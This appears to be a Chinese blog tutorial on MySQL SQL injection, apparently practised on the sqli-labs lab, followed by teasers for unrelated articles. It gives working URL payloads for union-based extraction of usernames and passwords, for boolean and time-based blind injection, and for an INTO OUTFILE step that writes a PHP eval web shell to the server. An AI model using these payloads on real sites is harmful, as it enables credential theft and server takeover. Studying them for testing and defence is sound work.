【MySQL】sql注入相关内容

【MySQL】sql注入相关内容

1. 为什么使用sql注入的时候,url传值的时候要使用–+而不是–

使用–进行注释的时候需要在后面加一个空格才可以被认为是注释,url传值的过程中会将空格自动忽略,使用+则可以在传输中保留为空格符号。(同时使用#作为注释符会被解释为锚点,导致失效)

2. 常用的sql注入方式

  1. 判断包裹方式
<!-- 使用\来判断包裹方式 -->
?id=-1\
  1. 获取数据库名
<!-- 以下的包裹方式均假设为单引号,前端显示字段数量假设为3 -->
?id=-1' union select 1,2,database() --+

在这里插入图片描述

  1. 获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

  1. 获取数据表列名
<!-- 注意这里面的是table_name,查询数据库中有那些表的时候where语句后面是table_schema -->
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

在这里插入图片描述

  1. 获取列对应的数据内容
<!-- 知道字段名之后就可以通过group_concat组合各个字段的数据 -->
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述

3. sql盲注

有的时候页面上回显不会那么明显或者就没有,你只能通过当前页面的状态判断输入的参数是对是错,这时候就需要用到盲注。

  1. 看一下页面正常回显的样子是什么,以及参数的闭合方式
    正常会先为You are in…
    在这里插入图片描述

可以看到闭合方式为单引号
在这里插入图片描述

  1. 判断以下数据库的名字是什么,使用如下语句判断数据库的第一个字符在什么范围。
    看第一个字符是否小于字符m
<!--借助ascii码的值来判断数据库名的第一个字符是在那个范围,大于或者小于字符m-->
<!--使用and来确保在后面的条件错误的情况下能与正常的情况有明显不同-->
?id=1' and ascii(substr(database(),1,1)) < ascii('m') --+

在这里插入图片描述
可以看到,页面没有回显什么数据,那么变化以下条件,等于的情况和大于的情况。
等于的情况,也和上述情况一样。

?id=1' and ascii(substr(database(),1,1)) = ascii('m') --+

在这里插入图片描述
大于的情况如下,可以正确的回显

?id=1' and ascii(substr(database(),1,1)) > ascii('m') --+

在这里插入图片描述
使用该方式可以试出来,第一个字符为‘s’,页面正确的回显

?id=1' and ascii(substr(database(),1,1)) = ascii('s') --+

在这里插入图片描述
3. 使用该方式可以可以一次判断出数据库的名称为security

?id=1' and ascii(substr(database(),2,1)) = ascii('e') --+
?id=1' and ascii(substr(database(),3,1)) = ascii('c') --+
或者简单一点
?id=1' and substr(database(),3,1) = 'c' --+
......
  1. 接下来也是通过该方式来判断数据库中的表名
<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),1,1 ) = 'e' --+

可以看到第一个表表名第一个字符为e
在这里插入图片描述
调整以下substr截取的位置为2,可以判断出第二个字符为m,以此类推可以判断整个表名

<!--这里面的select语句可以选出按table_name排序的第一条数据,这里第一条数据就是email-->
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' order by table_name limit 0,1),2,1 ) = 'm' --+

在这里插入图片描述

  1. 基于时间的盲注
?id=1' and if(length(database())>10,1,sleep(5)) --+

6.使用outfile

?id=-1' union select 1, 2, @@basedir --+
<!--输出php文件到目标地址-->
?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'xxx' --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/477939.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

shell脚本(完结)

声明&#xff1a;学习视频来自b站up主 泷羽sec&#xff0c;如涉及侵权马上删除文章 感谢泷羽sec 团队的教学 视频地址&#xff1a;shell编程&#xff08;完结&#xff09;_哔哩哔哩_bilibili 本文主要讲解不同shell脚本中的相互调用以及输入输出重定向操作。 一、不同脚本之间…

【bug】使用transformers训练二分类任务时,训练损失异常大

使用transformers训练二分类任务时&#xff0c;训练损失异常大 问题分析 问题 training_loss异常大&#xff0c;在二分类损失中&#xff0c;收敛在1~2附近&#xff0c;而eval_loss却正常&#xff08;小于0.5&#xff09; 分析 参考&#xff1a; Bug in gradient accumulation…

深入解析 EasyExcel 组件原理与应用

✨深入解析 EasyExcel 组件原理与应用✨ 官方&#xff1a;EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel 官网 在日常的 Java 开发工作中&#xff0c;处理 Excel 文件的导入导出是极为常见的需求。 今天&#xff0c;咱们就一起来深入了解一款非常实用的操作 Exce…

Gradio学习笔记记录

安装指令&#xff1a;pip install gradio方法介绍 Interface》用于构建一些简单的页面&#xff0c;可以直接用这个指令搞定 形式》接收三个参数分别为处理函数、输入、输出三部分&#xff0c;呈现一般左/上为输入&#xff0c;右或下为输出 fn&#xff1a;将用户界面 &#xff0…

养老院管理系统+小程序项目需求分析文档

智慧综合养老服务平台是以业务为牵引、场景为驱动&#xff0c;围绕“老人”业务域&#xff0c;持续沉淀和打磨形成适应不同养老业务发展需要的业务能力&#xff0c;推动业务模式升级&#xff0c;为养老服务提供数字化解决方案&#xff0c;并依托实体站点与养老机构实现线上线下…

React的基本知识:事件监听器、Props和State的区分、改变state的方法、使用回调函数改变state、使用三元运算符改变state

这篇教学文章涵盖了大量的React基本知识。 包括&#xff1a; 事件监听器Props和State的区分改变state的方法使用回调函数改变state使用三元运算符改变state处理state中的数组处理state中的object条件渲染 &&条件渲染 三元运算符React中的forms 1. Event Listeners 在…

repmgr安装及常用运维指令

简介 repmgr 由 EDB 与其他个人和组织的贡献一起开发&#xff0c;安装部署相对较为简单 安装 repmgr官网上传对应的安装到服务器上 安装前/etc/hosts IP映射、始终同步、免密通信本文忽略 repmgr的安装相对较为简单,目前repmgr-5仅仅支持到postgresql-15 postgresql必要参数…

opencv-python 分离边缘粘连的物体(距离变换)

import cv2 import numpy as np# 读取图像&#xff0c;这里添加了判断图像是否读取成功的逻辑 img cv2.imread("./640.png") # 灰度图 gray cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 高斯模糊 gray cv2.GaussianBlur(gray, (5, 5), 0) # 二值化 ret, binary cv2…

SATA接口不通分析案例分享

问题&#xff1a; 反馈有台NVR的某个接口SATA不通&#xff08;共有4个SATA接口&#xff0c;采用SATA HUB JMB575&#xff09;&#xff0c;挂载硬盘不上。 分析&#xff1a; 1、直接对换问题口SATA1与正常口SATA2的SATA数据线&#xff0c;SATA1口还是异常&#xff0c;挂在不上…

【Web前端】如何构建简单HTML表单?

HTML 表单是 Web 开发中非常重要的组成部分。它们是与用户交互的主要方式&#xff0c;能够收集用户输入的数据。表单的灵活性使它们成为 HTML 中最复杂的结构之一&#xff0c;但若使用正确的结构和元素&#xff0c;可以确保其可用性和无障碍性。 表单的基本结构 HTML 表单使用…

Flutter:AnimatedIcon图标动画,自定义Icon通过延时Interval,实现交错式动画

配置vsync&#xff0c;需要实现一下with SingleTickerProviderStateMixinclass _MyHomePageState extends State<MyHomePage> with SingleTickerProviderStateMixin{// late延迟初始化 AnimationControllerlate AnimationController _controller;overridevoid initStat…

PyQt学习笔记

一.PyQt5的安装 当我们安装好开发环境后&#xff0c;打开pycharm在其设置里面点击按钮自动安装即可。 安装完成后我们会在这里面看到这几个东西说明安装成功了。 二.PyQt5 GUI程序框架 1.一个简单的PyQt5应用程序 首先我们用pycharm创建一个demo.py的文件。 我们创建文件为s…

HTML5好看的音乐播放器多种风格(附源码)

文章目录 1.设计来源1.1 音乐播放器风格1效果1.2 音乐播放器风格2效果1.3 音乐播放器风格3效果1.4 音乐播放器风格4效果1.5 音乐播放器风格5效果 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&…

ReactPress(阮一峰推荐工具):一款基于Next.js的免费开源博客CMS系统

ReactPress Github项目地址&#xff1a;https://github.com/fecommunity/reactpress 欢迎Star。 此项目是用于构建博客网站的&#xff0c;包含前台展示、管理后台和后端。 此项目是基于 React antd NestJS NextJS MySQL 的&#xff0c;项目已经开源&#xff0c;项目地址在 …

pytorch自定义算子导出onnx

文章目录 1、为什么要自定义算子&#xff1f;2、如何自定义算子3、自定义算子导出onnx4、example1、重写一个pytorch 自定义算子&#xff08;实现自定义激活函数&#xff09;2、现有算子上封装pytorch 自定义算子&#xff08;实现动态放大超分辨率模型&#xff09; 1、为什么要…

构建高效在线教育:SpringBoot课程管理系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理在线课程管理系统的相关信息成为必然。开发…

CSS3新特性——字体图标、2D、3D变换、过渡、动画、多列布局

目录 一、Web字体 二、字体图标 三、2D变换 1.位移 &#xff08;1&#xff09;浮动 &#xff08;2&#xff09;相对定位 &#xff08;3)绝对定位和固定定位 &#xff08;4&#xff09;位移 用位移实现盒子的水平垂直居中 2.缩放 利用缩放调整字体到12px以下&#xff…

python Flask指定IP和端口

from flask import Flask, request import uuidimport json import osapp Flask(__name__)app.route(/) def hello_world():return Hello, World!if __name__ __main__:app.run(host0.0.0.0, port5000)

linux ubuntu的脚本知

目录 一、变量的引用 二、判断指定的文件是否存在 三、判断目录是否存在 四、判断最近一次命令执行是否成功 五、一些比较符号 六、"文件"的读取和写入 七、echo打印输出 八、ubuntu切换到root用户 N、其它可以参考的网址 脚本功能强大&#xff0c;用起来也…

C++(进阶) 第1章 继承

C&#xff08;进阶) 第1章 继承 文章目录 前言一、继承1.什么是继承2.继承的使用 二、继承方式1.private成员变量的&#xff08;3种继承方式&#xff09;继承2. private继承方式3.继承基类成员访问⽅式的变化 三、基类和派生类间的转换1.切片 四、 继承中的作⽤域1.隐藏规则&am…